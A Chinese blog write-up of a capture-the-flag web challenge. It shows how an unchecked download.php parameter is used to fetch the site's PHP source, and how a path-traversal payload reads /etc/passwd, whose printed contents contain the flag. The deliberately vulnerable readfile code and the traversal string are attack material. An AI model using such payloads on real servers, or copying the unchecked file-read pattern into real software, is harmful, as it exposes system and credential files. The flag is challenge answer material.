

# 云演-Web文件读取-writeup

原创

秋风瑟瑟... 于 2020-06-14 17:35:16 发布 239 收藏

分类专栏: [云演](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_45628145/article/details/106748731](https://blog.csdn.net/qq_45628145/article/details/106748731)

版权



[云演 专栏收录该内容](#)

6 篇文章 0 订阅

订阅专栏

## 文件读取

新生入学通知, 每位新录取学生请填写好相关的身份证信息提交院系辅导员申请办理校园银行卡。  
以后的所有学费都打入银行卡内结算。填写表格在附件中。 [下载附件](#)

```
<body>
<br>
<br>
<br>
<br>
<br>
<br>
<div class="content"> == $0
"
"
"
    新生入学通知, 每位新录取学生请填写好相关的身份证信息提
<br>
"
"
    以后的所有学费都打入银行卡内结算。填写表格在附件中。
"
<a href="download.php?url=word.zip">下载附件</a>
</div>
<br>
</body>
</html>
```

题目主页面是一个下载附件的链接, 然而附件里面什么都没有, 通过构造

```
download.php?url=download.php
```

下载得到download.php

```
<?php
include_once ('download.class.php');
$filename = $_GET['url'];
$file = new Down();
$downfile = $file -> downfile($filename);
?>
```

感觉有点像一个反序列化题, 下载download.class.php

```
download.php?url=download.class.php
```

```
<?php

class Down
{
    function downfile($file){

        //First, see if the file exists
        // if (!is_file($file)) { die("<b>404 File not found!</b>"); }
```

```

//Gather relevent info about file
// $len = filesize($file);
$filename = basename($file);
$file_extension = strtolower(substr(strrchr($filename,"."),1));

//This will set the Content-Type to the appropriate setting for the file
switch( $file_extension ) {
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpeg"; break;
case "mp3": $ctype="audio/mpeg"; break;
case "wav": $ctype="audio/x-wav"; break;
case "mpeg":
case "mpg":
case "mpe": $ctype="video/mpeg"; break;
case "mov": $ctype="video/quicktime"; break;
case "avi": $ctype="video/x-msvideo"; break;

//The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
//case "php":
//case "htm":
//case "html":
case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

// default: $ctype="application/force-download";
}

//Begin writing headers
/*header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: public");
header("Content-Description: File Transfer");
*/
//Use the switch-generated Content-Type
header("Content-Type: $ctype");

//Force the download
$header="Content-Disposition: attachment; filename=".$filename.";";
header($header );
//header("Content-Transfer-Encoding: binary");
// header("Content-Length: ".$len);
@readfile($file);
exit;
}
}
?>

```

然并卵，没什么用，只是发现一个 `@readfile($file);`，然后想着去读取一下 `/etc/passwd`，一个一个路径的试，最后的 payload 为

download.php?url=../../../../../etc/passwd

得到flag

```
passwd - 记事本
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-
data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting
System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bashmysql:x:106:112:MySQL
Server,,;/nonexistent:/bin/falseflag{9d8z3k5h4n7m2x}
```